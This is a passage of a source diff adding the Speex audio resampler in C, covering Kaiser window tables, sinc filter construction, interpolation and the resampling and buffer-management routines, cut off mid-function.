+   0.02584161, 0.02127838, 0.01736250, 0.01402878, 0.01121463, 0.00886058,
+   0.00691064, 0.00531256, 0.00401805, 0.00298291, 0.00216702, 0.00153438,
+   0.00105297, 0.00069463, 0.00043489, 0.00025272, 0.00013031, 0.0000527734,
+   0.00001000, 0.00000000};
+/*
+static double kaiser12_table[36] = {
+   0.99440475, 1.00000000, 0.99440475, 0.97779076, 0.95066529, 0.91384741,
+   0.86843014, 0.81573067, 0.75723148, 0.69451601, 0.62920216, 0.56287762,
+   0.49704014, 0.43304576, 0.37206735, 0.31506490, 0.26276832, 0.21567274,
+   0.17404546, 0.13794294, 0.10723616, 0.08164178, 0.06075685, 0.04409466,
+   0.03111947, 0.02127838, 0.01402878, 0.00886058, 0.00531256, 0.00298291,
+   0.00153438, 0.00069463, 0.00025272, 0.0000527734, 0.00000500, 0.00000000};
+*/
+static double kaiser10_table[36] = {
+   0.99537781, 1.00000000, 0.99537781, 0.98162644, 0.95908712, 0.92831446,
+   0.89005583, 0.84522401, 0.79486424, 0.74011713, 0.68217934, 0.62226347,
+   0.56155915, 0.50119680, 0.44221549, 0.38553619, 0.33194107, 0.28205962,
+   0.23636152, 0.19515633, 0.15859932, 0.12670280, 0.09935205, 0.07632451,
+   0.05731132, 0.04193980, 0.02979584, 0.02044510, 0.01345224, 0.00839739,
+   0.00488951, 0.00257636, 0.00115101, 0.00035515, 0.00000000, 0.00000000};
+
+static double kaiser8_table[36] = {
+   0.99635258, 1.00000000, 0.99635258, 0.98548012, 0.96759014, 0.94302200,
+   0.91223751, 0.87580811, 0.83439927, 0.78875245, 0.73966538, 0.68797126,
+   0.63451750, 0.58014482, 0.52566725, 0.47185369, 0.41941150, 0.36897272,
+   0.32108304, 0.27619388, 0.23465776, 0.19672670, 0.16255380, 0.13219758,
+   0.10562887, 0.08273982, 0.06335451, 0.04724088, 0.03412321, 0.02369490,
+   0.01563093, 0.00959968, 0.00527363, 0.00233883, 0.00050000, 0.00000000};
+   
+static double kaiser6_table[36] = {
+   0.99733006, 1.00000000, 0.99733006, 0.98935595, 0.97618418, 0.95799003,
+   0.93501423, 0.90755855, 0.87598009, 0.84068475, 0.80211977, 0.76076565,
+   0.71712752, 0.67172623, 0.62508937, 0.57774224, 0.53019925, 0.48295561,
+   0.43647969, 0.39120616, 0.34752997, 0.30580127, 0.26632152, 0.22934058,
+   0.19505503, 0.16360756, 0.13508755, 0.10953262, 0.08693120, 0.06722600,
+   0.05031820, 0.03607231, 0.02432151, 0.01487334, 0.00752000, 0.00000000};
+
+struct FuncDef {
+   double *table;
+   int oversample;
+};
+      
+static struct FuncDef _KAISER12 = {kaiser12_table, 64};
+#define KAISER12 (&_KAISER12)
+/*static struct FuncDef _KAISER12 = {kaiser12_table, 32};
+#define KAISER12 (&_KAISER12)*/
+static struct FuncDef _KAISER10 = {kaiser10_table, 32};
+#define KAISER10 (&_KAISER10)
+static struct FuncDef _KAISER8 = {kaiser8_table, 32};
+#define KAISER8 (&_KAISER8)
+static struct FuncDef _KAISER6 = {kaiser6_table, 32};
+#define KAISER6 (&_KAISER6)
+
+struct QualityMapping {
+   int base_length;
+   int oversample;
+   float downsample_bandwidth;
+   float upsample_bandwidth;
+   struct FuncDef *window_func;
+};
+
+
+/* This table maps conversion quality to internal parameters. There are two
+   reasons that explain why the up-sampling bandwidth is larger than the 
+   down-sampling bandwidth:
+   1) When up-sampling, we can assume that the spectrum is already attenuated
+      close to the Nyquist rate (from an A/D or a previous resampling filter)
+   2) Any aliasing that occurs very close to the Nyquist rate will be masked
+      by the sinusoids/noise just below the Nyquist rate (guaranteed only for
+      up-sampling).
+*/
+static const struct QualityMapping quality_map[11] = {
+   {  8,  4, 0.830f, 0.860f, KAISER6 }, /* Q0 */
+   { 16,  4, 0.850f, 0.880f, KAISER6 }, /* Q1 */
+   { 32,  4, 0.882f, 0.910f, KAISER6 }, /* Q2 */  /* 82.3% cutoff ( ~60 dB stop) 6  */
+   { 48,  8, 0.895f, 0.917f, KAISER8 }, /* Q3 */  /* 84.9% cutoff ( ~80 dB stop) 8  */
+   { 64,  8, 0.921f, 0.940f, KAISER8 }, /* Q4 */  /* 88.7% cutoff ( ~80 dB stop) 8  */
+   { 80, 16, 0.922f, 0.940f, KAISER10}, /* Q5 */  /* 89.1% cutoff (~100 dB stop) 10 */
+   { 96, 16, 0.940f, 0.945f, KAISER10}, /* Q6 */  /* 91.5% cutoff (~100 dB stop) 10 */
+   {128, 16, 0.950f, 0.950f, KAISER10}, /* Q7 */  /* 93.1% cutoff (~100 dB stop) 10 */
+   {160, 16, 0.960f, 0.960f, KAISER10}, /* Q8 */  /* 94.5% cutoff (~100 dB stop) 10 */
+   {192, 32, 0.968f, 0.968f, KAISER12}, /* Q9 */  /* 95.5% cutoff (~100 dB stop) 10 */
+   {256, 32, 0.975f, 0.975f, KAISER12}, /* Q10 */ /* 96.6% cutoff (~100 dB stop) 10 */
+};
+/*8,24,40,56,80,104,128,160,200,256,320*/
+static double compute_func(float x, struct FuncDef *func)
+{
+   float y, frac;
+   double interp[4];
+   int ind; 
+   y = x*func->oversample;
+   ind = (int)floor(y);
+   frac = (y-ind);
+   /* CSE with handle the repeated powers */
+   interp[3] =  -0.1666666667*frac + 0.1666666667*(frac*frac*frac);
+   interp[2] = frac + 0.5*(frac*frac) - 0.5*(frac*frac*frac);
+   /*interp[2] = 1.f - 0.5f*frac - frac*frac + 0.5f*frac*frac*frac;*/
+   interp[0] = -0.3333333333*frac + 0.5*(frac*frac) - 0.1666666667*(frac*frac*frac);
+   /* Just to make sure we don't have rounding problems */
+   interp[1] = 1.f-interp[3]-interp[2]-interp[0];
+   
+   /*sum = frac*accum[1] + (1-frac)*accum[2];*/
+   return interp[0]*func->table[ind] + interp[1]*func->table[ind+1] + interp[2]*func->table[ind+2] + interp[3]*func->table[ind+3];
+}
+
+#if 0
+#include <stdio.h>
+int main(int argc, char **argv)
+{
+   int i;
+   for (i=0;i<256;i++)
+   {
+      printf ("%f\n", compute_func(i/256., KAISER12));
+   }
+   return 0;
+}
+#endif
+
+#ifdef FIXED_POINT
+/* The slow way of computing a sinc for the table. Should improve that some day */
+static spx_word16_t sinc(float cutoff, float x, int N, struct FuncDef *window_func)
+{
+   /*fprintf (stderr, "%f ", x);*/
+   float xx = x * cutoff;
+   if (fabs(x)<1e-6f)
+      return WORD2INT(32768.*cutoff);
+   else if (fabs(x) > .5f*N)
+      return 0;
+   /*FIXME: Can it really be any slower than this? */
+   return WORD2INT(32768.*cutoff*sin(M_PI*xx)/(M_PI*xx) * compute_func(fabs(2.*x/N), window_func));
+}
+#else
+/* The slow way of computing a sinc for the table. Should improve that some day */
+static spx_word16_t sinc(float cutoff, float x, int N, struct FuncDef *window_func)
+{
+   /*fprintf (stderr, "%f ", x);*/
+   float xx = x * cutoff;
+   if (fabs(x)<1e-6)
+      return cutoff;
+   else if (fabs(x) > .5*N)
+      return 0;
+   /*FIXME: Can it really be any slower than this? */
+   return cutoff*sin(M_PI*xx)/(M_PI*xx) * compute_func(fabs(2.*x/N), window_func);
+}
+#endif
+
+#ifdef FIXED_POINT
+static void cubic_coef(spx_word16_t x, spx_word16_t interp[4])
+{
+   /* Compute interpolation coefficients. I'm not sure whether this corresponds to cubic interpolation
+   but I know it's MMSE-optimal on a sinc */
+   spx_word16_t x2, x3;
+   x2 = MULT16_16_P15(x, x);
+   x3 = MULT16_16_P15(x, x2);
+   interp[0] = PSHR32(MULT16_16(QCONST16(-0.16667f, 15),x) + MULT16_16(QCONST16(0.16667f, 15),x3),15);
+   interp[1] = EXTRACT16(EXTEND32(x) + SHR32(SUB32(EXTEND32(x2),EXTEND32(x3)),1));
+   interp[3] = PSHR32(MULT16_16(QCONST16(-0.33333f, 15),x) + MULT16_16(QCONST16(.5f,15),x2) - MULT16_16(QCONST16(0.16667f, 15),x3),15);
+   /* Just to make sure we don't have rounding problems */
+   interp[2] = Q15_ONE-interp[0]-interp[1]-interp[3];
+   if (interp[2]<32767)
+      interp[2]+=1;
+}
+#else
+static void cubic_coef(spx_word16_t frac, spx_word16_t interp[4])
+{
+   /* Compute interpolation coefficients. I'm not sure whether this corresponds to cubic interpolation
+   but I know it's MMSE-optimal on a sinc */
+   interp[0] =  -0.16667f*frac + 0.16667f*frac*frac*frac;
+   interp[1] = frac + 0.5f*frac*frac - 0.5f*frac*frac*frac;
+   /*interp[2] = 1.f - 0.5f*frac - frac*frac + 0.5f*frac*frac*frac;*/
+   interp[3] = -0.33333f*frac + 0.5f*frac*frac - 0.16667f*frac*frac*frac;
+   /* Just to make sure we don't have rounding problems */
+   interp[2] = 1.-interp[0]-interp[1]-interp[3];
+}
+#endif
+
+static int resampler_basic_direct_single(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_word16_t *in, spx_uint32_t *in_len, spx_word16_t *out, spx_uint32_t *out_len)
+{
+   const int N = st->filt_len;
+   int out_sample = 0;
+   int last_sample = st->last_sample[channel_index];
+   spx_uint32_t samp_frac_num = st->samp_frac_num[channel_index];
+   const spx_word16_t *sinc_table = st->sinc_table;
+   const int out_stride = st->out_stride;
+   const int int_advance = st->int_advance;
+   const int frac_advance = st->frac_advance;
+   const spx_uint32_t den_rate = st->den_rate;
+   spx_word32_t sum;
+   int j;
+
+   while (!(last_sample >= (spx_int32_t)*in_len || out_sample >= (spx_int32_t)*out_len))
+   {
+      const spx_word16_t *sinc = & sinc_table[samp_frac_num*N];
+      const spx_word16_t *iptr = & in[last_sample];
+
+#ifndef OVERRIDE_INNER_PRODUCT_SINGLE
+      float accum[4] = {0,0,0,0};
+
+      for(j=0;j<N;j+=4) {
+        accum[0] += sinc[j]*iptr[j];
+        accum[1] += sinc[j+1]*iptr[j+1];
+        accum[2] += sinc[j+2]*iptr[j+2];
+        accum[3] += sinc[j+3]*iptr[j+3];
+      }
+      sum = accum[0] + accum[1] + accum[2] + accum[3];
+#else
+      sum = inner_product_single(sinc, iptr, N);
+#endif
+
+      out[out_stride * out_sample++] = PSHR32(sum, 15);
+      last_sample += int_advance;
+      samp_frac_num += frac_advance;
+      if (samp_frac_num >= den_rate)
+      {
+         samp_frac_num -= den_rate;
+         last_sample++;
+      }
+   }
+
+   st->last_sample[channel_index] = last_sample;
+   st->samp_frac_num[channel_index] = samp_frac_num;
+   return out_sample;
+}
+
+#ifdef FIXED_POINT
+#else
+/* This is the same as the previous function, except with a double-precision accumulator */
+static int resampler_basic_direct_double(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_word16_t *in, spx_uint32_t *in_len, spx_word16_t *out, spx_uint32_t *out_len)
+{
+   const int N = st->filt_len;
+   int out_sample = 0;
+   int last_sample = st->last_sample[channel_index];
+   spx_uint32_t samp_frac_num = st->samp_frac_num[channel_index];
+   const spx_word16_t *sinc_table = st->sinc_table;
+   const int out_stride = st->out_stride;
+   const int int_advance = st->int_advance;
+   const int frac_advance = st->frac_advance;
+   const spx_uint32_t den_rate = st->den_rate;
+   double sum;
+   int j;
+
+   while (!(last_sample >= (spx_int32_t)*in_len || out_sample >= (spx_int32_t)*out_len))
+   {
+      const spx_word16_t *sinc = & sinc_table[samp_frac_num*N];
+      const spx_word16_t *iptr = & in[last_sample];
+
+#ifndef OVERRIDE_INNER_PRODUCT_DOUBLE
+      double accum[4] = {0,0,0,0};
+
+      for(j=0;j<N;j+=4) {
+        accum[0] += sinc[j]*iptr[j];
+        accum[1] += sinc[j+1]*iptr[j+1];
+        accum[2] += sinc[j+2]*iptr[j+2];
+        accum[3] += sinc[j+3]*iptr[j+3];
+      }
+      sum = accum[0] + accum[1] + accum[2] + accum[3];
+#else
+      sum = inner_product_double(sinc, iptr, N);
+#endif
+
+      out[out_stride * out_sample++] = PSHR32(sum, 15);
+      last_sample += int_advance;
+      samp_frac_num += frac_advance;
+      if (samp_frac_num >= den_rate)
+      {
+         samp_frac_num -= den_rate;
+         last_sample++;
+      }
+   }
+
+   st->last_sample[channel_index] = last_sample;
+   st->samp_frac_num[channel_index] = samp_frac_num;
+   return out_sample;
+}
+#endif
+
+static int resampler_basic_interpolate_single(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_word16_t *in, spx_uint32_t *in_len, spx_word16_t *out, spx_uint32_t *out_len)
+{
+   const int N = st->filt_len;
+   int out_sample = 0;
+   int last_sample = st->last_sample[channel_index];
+   spx_uint32_t samp_frac_num = st->samp_frac_num[channel_index];
+   const int out_stride = st->out_stride;
+   const int int_advance = st->int_advance;
+   const int frac_advance = st->frac_advance;
+   const spx_uint32_t den_rate = st->den_rate;
+   int j;
+   spx_word32_t sum;
+
+   while (!(last_sample >= (spx_int32_t)*in_len || out_sample >= (spx_int32_t)*out_len))
+   {
+      const spx_word16_t *iptr = & in[last_sample];
+
+      const int offset = samp_frac_num*st->oversample/st->den_rate;
+#ifdef FIXED_POINT
+      const spx_word16_t frac = PDIV32(SHL32((samp_frac_num*st->oversample) % st->den_rate,15),st->den_rate);
+#else
+      const spx_word16_t frac = ((float)((samp_frac_num*st->oversample) % st->den_rate))/st->den_rate;
+#endif
+      spx_word16_t interp[4];
+
+
+#ifndef OVERRIDE_INTERPOLATE_PRODUCT_SINGLE
+      spx_word32_t accum[4] = {0,0,0,0};
+
+      for(j=0;j<N;j++) {
+        const spx_word16_t curr_in=iptr[j];
+        accum[0] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset-2]);
+        accum[1] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset-1]);
+        accum[2] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset]);
+        accum[3] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset+1]);
+      }
+
+      cubic_coef(frac, interp);
+      sum = MULT16_32_Q15(interp[0],accum[0]) + MULT16_32_Q15(interp[1],accum[1]) + MULT16_32_Q15(interp[2],accum[2]) + MULT16_32_Q15(interp[3],accum[3]);
+#else
+      cubic_coef(frac, interp);
+      sum = interpolate_product_single(iptr, st->sinc_table + st->oversample + 4 - offset - 2, N, st->oversample, interp);
+#endif
+      
+      out[out_stride * out_sample++] = PSHR32(sum,15);
+      last_sample += int_advance;
+      samp_frac_num += frac_advance;
+      if (samp_frac_num >= den_rate)
+      {
+         samp_frac_num -= den_rate;
+         last_sample++;
+      }
+   }
+
+   st->last_sample[channel_index] = last_sample;
+   st->samp_frac_num[channel_index] = samp_frac_num;
+   return out_sample;
+}
+
+#ifdef FIXED_POINT
+#else
+/* This is the same as the previous function, except with a double-precision accumulator */
+static int resampler_basic_interpolate_double(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_word16_t *in, spx_uint32_t *in_len, spx_word16_t *out, spx_uint32_t *out_len)
+{
+   const int N = st->filt_len;
+   int out_sample = 0;
+   int last_sample = st->last_sample[channel_index];
+   spx_uint32_t samp_frac_num = st->samp_frac_num[channel_index];
+   const int out_stride = st->out_stride;
+   const int int_advance = st->int_advance;
+   const int frac_advance = st->frac_advance;
+   const spx_uint32_t den_rate = st->den_rate;
+   int j;
+   spx_word32_t sum;
+
+   while (!(last_sample >= (spx_int32_t)*in_len || out_sample >= (spx_int32_t)*out_len))
+   {
+      const spx_word16_t *iptr = & in[last_sample];
+
+      const int offset = samp_frac_num*st->oversample/st->den_rate;
+#ifdef FIXED_POINT
+      const spx_word16_t frac = PDIV32(SHL32((samp_frac_num*st->oversample) % st->den_rate,15),st->den_rate);
+#else
+      const spx_word16_t frac = ((float)((samp_frac_num*st->oversample) % st->den_rate))/st->den_rate;
+#endif
+      spx_word16_t interp[4];
+
+
+#ifndef OVERRIDE_INTERPOLATE_PRODUCT_DOUBLE
+      double accum[4] = {0,0,0,0};
+
+      for(j=0;j<N;j++) {
+        const double curr_in=iptr[j];
+        accum[0] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset-2]);
+        accum[1] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset-1]);
+        accum[2] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset]);
+        accum[3] += MULT16_16(curr_in,st->sinc_table[4+(j+1)*st->oversample-offset+1]);
+      }
+
+      cubic_coef(frac, interp);
+      sum = MULT16_32_Q15(interp[0],accum[0]) + MULT16_32_Q15(interp[1],accum[1]) + MULT16_32_Q15(interp[2],accum[2]) + MULT16_32_Q15(interp[3],accum[3]);
+#else
+      cubic_coef(frac, interp);
+      sum = interpolate_product_double(iptr, st->sinc_table + st->oversample + 4 - offset - 2, N, st->oversample, interp);
+#endif
+      
+      out[out_stride * out_sample++] = PSHR32(sum,15);
+      last_sample += int_advance;
+      samp_frac_num += frac_advance;
+      if (samp_frac_num >= den_rate)
+      {
+         samp_frac_num -= den_rate;
+         last_sample++;
+      }
+   }
+
+   st->last_sample[channel_index] = last_sample;
+   st->samp_frac_num[channel_index] = samp_frac_num;
+   return out_sample;
+}
+#endif
+
+static void update_filter(SpeexResamplerState *st)
+{
+   spx_uint32_t old_length;
+   
+   old_length = st->filt_len;
+   st->oversample = quality_map[st->quality].oversample;
+   st->filt_len = quality_map[st->quality].base_length;
+   
+   if (st->num_rate > st->den_rate)
+   {
+      /* down-sampling */
+      st->cutoff = quality_map[st->quality].downsample_bandwidth * st->den_rate / st->num_rate;
+      /* FIXME: divide the numerator and denominator by a certain amount if they're too large */
+      st->filt_len = st->filt_len*st->num_rate / st->den_rate;
+      /* Round down to make sure we have a multiple of 4 */
+      st->filt_len &= (~0x3);
+      if (2*st->den_rate < st->num_rate)
+         st->oversample >>= 1;
+      if (4*st->den_rate < st->num_rate)
+         st->oversample >>= 1;
+      if (8*st->den_rate < st->num_rate)
+         st->oversample >>= 1;
+      if (16*st->den_rate < st->num_rate)
+         st->oversample >>= 1;
+      if (st->oversample < 1)
+         st->oversample = 1;
+   } else {
+      /* up-sampling */
+      st->cutoff = quality_map[st->quality].upsample_bandwidth;
+   }
+   
+   /* Choose the resampling type that requires the least amount of memory */
+   if (st->den_rate <= st->oversample)
+   {
+      spx_uint32_t i;
+      if (!st->sinc_table)
+         st->sinc_table = (spx_word16_t *)speex_alloc(st->filt_len*st->den_rate*sizeof(spx_word16_t));
+      else if (st->sinc_table_length < st->filt_len*st->den_rate)
+      {
+         st->sinc_table = (spx_word16_t *)speex_realloc(st->sinc_table,st->filt_len*st->den_rate*sizeof(spx_word16_t));
+         st->sinc_table_length = st->filt_len*st->den_rate;
+      }
+      for (i=0;i<st->den_rate;i++)
+      {
+         spx_int32_t j;
+         for (j=0;j<st->filt_len;j++)
+         {
+            st->sinc_table[i*st->filt_len+j] = sinc(st->cutoff,((j-(spx_int32_t)st->filt_len/2+1)-((float)i)/st->den_rate), st->filt_len, quality_map[st->quality].window_func);
+         }
+      }
+#ifdef FIXED_POINT
+      st->resampler_ptr = resampler_basic_direct_single;
+#else
+      if (st->quality>8)
+         st->resampler_ptr = resampler_basic_direct_double;
+      else
+         st->resampler_ptr = resampler_basic_direct_single;
+#endif
+      /*fprintf (stderr, "resampler uses direct sinc table and normalised cutoff %f\n", cutoff);*/
+   } else {
+      spx_int32_t i;
+      if (!st->sinc_table)
+         st->sinc_table = (spx_word16_t *)speex_alloc((st->filt_len*st->oversample+8)*sizeof(spx_word16_t));
+      else if (st->sinc_table_length < st->filt_len*st->oversample+8)
+      {
+         st->sinc_table = (spx_word16_t *)speex_realloc(st->sinc_table,(st->filt_len*st->oversample+8)*sizeof(spx_word16_t));
+         st->sinc_table_length = st->filt_len*st->oversample+8;
+      }
+      for (i=-4;i<(spx_int32_t)(st->oversample*st->filt_len+4);i++)
+         st->sinc_table[i+4] = sinc(st->cutoff,(i/(float)st->oversample - st->filt_len/2), st->filt_len, quality_map[st->quality].window_func);
+#ifdef FIXED_POINT
+      st->resampler_ptr = resampler_basic_interpolate_single;
+#else
+      if (st->quality>8)
+         st->resampler_ptr = resampler_basic_interpolate_double;
+      else
+         st->resampler_ptr = resampler_basic_interpolate_single;
+#endif
+      /*fprintf (stderr, "resampler uses interpolated sinc table and normalised cutoff %f\n", cutoff);*/
+   }
+   st->int_advance = st->num_rate/st->den_rate;
+   st->frac_advance = st->num_rate%st->den_rate;
+
+   
+   /* Here's the place where we update the filter memory to take into account
+      the change in filter length. It's probably the messiest part of the code
+      due to handling of lots of corner cases. */
+   if (!st->mem)
+   {
+      spx_uint32_t i;
+      st->mem_alloc_size = st->filt_len-1 + st->buffer_size;
+      st->mem = (spx_word16_t*)speex_alloc(st->nb_channels*st->mem_alloc_size * sizeof(spx_word16_t));
+      for (i=0;i<st->nb_channels*st->mem_alloc_size;i++)
+         st->mem[i] = 0;
+      /*speex_warning("init filter");*/
+   } else if (!st->started)
+   {
+      spx_uint32_t i;
+      st->mem_alloc_size = st->filt_len-1 + st->buffer_size;
+      st->mem = (spx_word16_t*)speex_realloc(st->mem, st->nb_channels*st->mem_alloc_size * sizeof(spx_word16_t));
+      for (i=0;i<st->nb_channels*st->mem_alloc_size;i++)
+         st->mem[i] = 0;
+      /*speex_warning("reinit filter");*/
+   } else if (st->filt_len > old_length)
+   {
+      spx_int32_t i;
+      /* Increase the filter length */
+      /*speex_warning("increase filter size");*/
+      int old_alloc_size = st->mem_alloc_size;
+      if ((st->filt_len-1 + st->buffer_size) > st->mem_alloc_size)
+      {
+         st->mem_alloc_size = st->filt_len-1 + st->buffer_size;
+         st->mem = (spx_word16_t*)speex_realloc(st->mem, st->nb_channels*st->mem_alloc_size * sizeof(spx_word16_t));
+      }
+      for (i=st->nb_channels-1;i>=0;i--)
+      {
+         spx_int32_t j;
+         spx_uint32_t olen = old_length;
+         /*if (st->magic_samples[i])*/
+         {
+            /* Try and remove the magic samples as if nothing had happened */
+            
+            /* FIXME: This is wrong but for now we need it to avoid going over the array bounds */
+            olen = old_length + 2*st->magic_samples[i];
+            for (j=old_length-2+st->magic_samples[i];j>=0;j--)
+               st->mem[i*st->mem_alloc_size+j+st->magic_samples[i]] = st->mem[i*old_alloc_size+j];
+            for (j=0;j<st->magic_samples[i];j++)
+               st->mem[i*st->mem_alloc_size+j] = 0;
+            st->magic_samples[i] = 0;
+         }
+         if (st->filt_len > olen)
+         {
+            /* If the new filter length is still bigger than the "augmented" length */
+            /* Copy data going backward */
+            for (j=0;j<olen-1;j++)
+               st->mem[i*st->mem_alloc_size+(st->filt_len-2-j)] = st->mem[i*st->mem_alloc_size+(olen-2-j)];
+            /* Then put zeros for lack of anything better */
+            for (;j<st->filt_len-1;j++)
+               st->mem[i*st->mem_alloc_size+(st->filt_len-2-j)] = 0;
+            /* Adjust last_sample */
+            st->last_sample[i] += (st->filt_len - olen)/2;
+         } else {
+            /* Put back some of the magic! */
+            st->magic_samples[i] = (olen - st->filt_len)/2;
+            for (j=0;j<st->filt_len-1+st->magic_samples[i];j++)
+               st->mem[i*st->mem_alloc_size+j] = st->mem[i*st->mem_alloc_size+j+st->magic_samples[i]];
+         }
+      }
+   } else if (st->filt_len < old_length)
+   {
+      spx_uint32_t i;
+      /* Reduce filter length, this a bit tricky. We need to store some of the memory as "magic"
+         samples so they can be used directly as input the next time(s) */
+      for (i=0;i<st->nb_channels;i++)
+      {
+         spx_uint32_t j;
+         spx_uint32_t old_magic = st->magic_samples[i];
+         st->magic_samples[i] = (old_length - st->filt_len)/2;
+         /* We must copy some of the memory that's no longer used */
+         /* Copy data going backward */
+         for (j=0;j<st->filt_len-1+st->magic_samples[i]+old_magic;j++)
+            st->mem[i*st->mem_alloc_size+j] = st->mem[i*st->mem_alloc_size+j+st->magic_samples[i]];
+         st->magic_samples[i] += old_magic;
+      }
+   }
+
+}
+
+EXPORT SpeexResamplerState *speex_resampler_init(spx_uint32_t nb_channels, spx_uint32_t in_rate, spx_uint32_t out_rate, int quality, int *err)
+{
+   return speex_resampler_init_frac(nb_channels, in_rate, out_rate, in_rate, out_rate, quality, err);
+}
+
+EXPORT SpeexResamplerState *speex_resampler_init_frac(spx_uint32_t nb_channels, spx_uint32_t ratio_num, spx_uint32_t ratio_den, spx_uint32_t in_rate, spx_uint32_t out_rate, int quality, int *err)
+{
+   spx_uint32_t i;
+   SpeexResamplerState *st;
+   if (quality > 10 || quality < 0)
+   {
+      if (err)
+         *err = RESAMPLER_ERR_INVALID_ARG;
+      return NULL;
+   }
+   st = (SpeexResamplerState *)speex_alloc(sizeof(SpeexResamplerState));
+   st->initialised = 0;
+   st->started = 0;
+   st->in_rate = 0;
+   st->out_rate = 0;
+   st->num_rate = 0;
+   st->den_rate = 0;
+   st->quality = -1;
+   st->sinc_table_length = 0;
+   st->mem_alloc_size = 0;
+   st->filt_len = 0;
+   st->mem = 0;
+   st->resampler_ptr = 0;
+         
+   st->cutoff = 1.f;
+   st->nb_channels = nb_channels;
+   st->in_stride = 1;
+   st->out_stride = 1;
+   
+#ifdef FIXED_POINT
+   st->buffer_size = 160;
+#else
+   st->buffer_size = 160;
+#endif
+   
+   /* Per channel data */
+   st->last_sample = (spx_int32_t*)speex_alloc(nb_channels*sizeof(int));
+   st->magic_samples = (spx_uint32_t*)speex_alloc(nb_channels*sizeof(int));
+   st->samp_frac_num = (spx_uint32_t*)speex_alloc(nb_channels*sizeof(int));
+   for (i=0;i<nb_channels;i++)
+   {
+      st->last_sample[i] = 0;
+      st->magic_samples[i] = 0;
+      st->samp_frac_num[i] = 0;
+   }
+
+   speex_resampler_set_quality(st, quality);
+   speex_resampler_set_rate_frac(st, ratio_num, ratio_den, in_rate, out_rate);
+
+   
+   update_filter(st);
+   
+   st->initialised = 1;
+   if (err)
+      *err = RESAMPLER_ERR_SUCCESS;
+
+   return st;
+}
+
+EXPORT void speex_resampler_destroy(SpeexResamplerState *st)
+{
+   speex_free(st->mem);
+   speex_free(st->sinc_table);
+   speex_free(st->last_sample);
+   speex_free(st->magic_samples);
+   speex_free(st->samp_frac_num);
+   speex_free(st);
+}
+
+static int speex_resampler_process_native(SpeexResamplerState *st, spx_uint32_t channel_index, spx_uint32_t *in_len, spx_word16_t *out, spx_uint32_t *out_len)
+{
+   int j=0;
+   const int N = st->filt_len;
+   int out_sample = 0;
+   spx_word16_t *mem = st->mem + channel_index * st->mem_alloc_size;
+   spx_uint32_t ilen;
+   
+   st->started = 1;
+   
+   /* Call the right resampler through the function ptr */
+   out_sample = st->resampler_ptr(st, channel_index, mem, in_len, out, out_len);
+   
+   if (st->last_sample[channel_index] < (spx_int32_t)*in_len)
+      *in_len = st->last_sample[channel_index];
+   *out_len = out_sample;
+   st->last_sample[channel_index] -= *in_len;
+   
+   ilen = *in_len;
+
+   for(j=0;j<N-1;++j)
+     mem[j] = mem[j+ilen];
+
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+static int speex_resampler_magic(SpeexResamplerState *st, spx_uint32_t channel_index, spx_word16_t **out, spx_uint32_t out_len) {
+   spx_uint32_t tmp_in_len = st->magic_samples[channel_index];
+   spx_word16_t *mem = st->mem + channel_index * st->mem_alloc_size;
+   const int N = st->filt_len;
+   
+   speex_resampler_process_native(st, channel_index, &tmp_in_len, *out, &out_len);
+
+   st->magic_samples[channel_index] -= tmp_in_len;
+   
+   /* If we couldn't process all "magic" input samples, save the rest for next time */
+   if (st->magic_samples[channel_index])
+   {
+      spx_uint32_t i;
+      for (i=0;i<st->magic_samples[channel_index];i++)
+         mem[N-1+i]=mem[N-1+i+tmp_in_len];
+   }
+   *out += out_len*st->out_stride;
+   return out_len;
+}
+
+#ifdef FIXED_POINT
+EXPORT int speex_resampler_process_int(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_int16_t *in, spx_uint32_t *in_len, spx_int16_t *out, spx_uint32_t *out_len)
+#else
+EXPORT int speex_resampler_process_float(SpeexResamplerState *st, spx_uint32_t channel_index, const float *in, spx_uint32_t *in_len, float *out, spx_uint32_t *out_len)
+#endif
+{
+   int j;
+   spx_uint32_t ilen = *in_len;
+   spx_uint32_t olen = *out_len;
+   spx_word16_t *x = st->mem + channel_index * st->mem_alloc_size;
+   const int filt_offs = st->filt_len - 1;
+   const spx_uint32_t xlen = st->mem_alloc_size - filt_offs;
+   const int istride = st->in_stride;
+
+   if (st->magic_samples[channel_index]) 
+      olen -= speex_resampler_magic(st, channel_index, &out, olen);
+   if (! st->magic_samples[channel_index]) {
+      while (ilen && olen) {
+        spx_uint32_t ichunk = (ilen > xlen) ? xlen : ilen;
+        spx_uint32_t ochunk = olen;
+ 
+        if (in) {
+           for(j=0;j<ichunk;++j)
+              x[j+filt_offs]=in[j*istride];
+        } else {
+          for(j=0;j<ichunk;++j)
+            x[j+filt_offs]=0;
+        }
+        speex_resampler_process_native(st, channel_index, &ichunk, out, &ochunk);
+        ilen -= ichunk;
+        olen -= ochunk;
+        out += ochunk * st->out_stride;
+        if (in)
+           in += ichunk * istride;
+      }
+   }
+   *in_len -= ilen;
+   *out_len -= olen;
+   return RESAMPLER_ERR_SUCCESS;
+}
+
+#ifdef FIXED_POINT
+EXPORT int speex_resampler_process_float(SpeexResamplerState *st, spx_uint32_t channel_index, const float *in, spx_uint32_t *in_len, float *out, spx_uint32_t *out_len)
+#else
+EXPORT int speex_resampler_process_int(SpeexResamplerState *st, spx_uint32_t channel_index, const spx_int16_t *in, spx_uint32_t *in_len, spx_int16_t *out, spx_uint32_t *out_len)
+#endif
+{
+   int j;
+   const int istride_save = st->in_stride;
+   const int ostride_save = st->out_stride;
+   spx_uint32_t ilen = *in_len;
+   spx_uint32_t olen = *out_len;
+   spx_word16_t *x = st->mem + channel_index * st->mem_alloc_size;
+   const spx_uint32_t xlen = st->mem_alloc_size - (st->filt_len - 1);
+#ifdef VAR_ARRAYS
+   const unsigned int ylen = (olen < FIXED_STACK_ALLOC) ? olen : FIXED_STACK_ALLOC;
+   VARDECL(spx_word16_t *ystack);
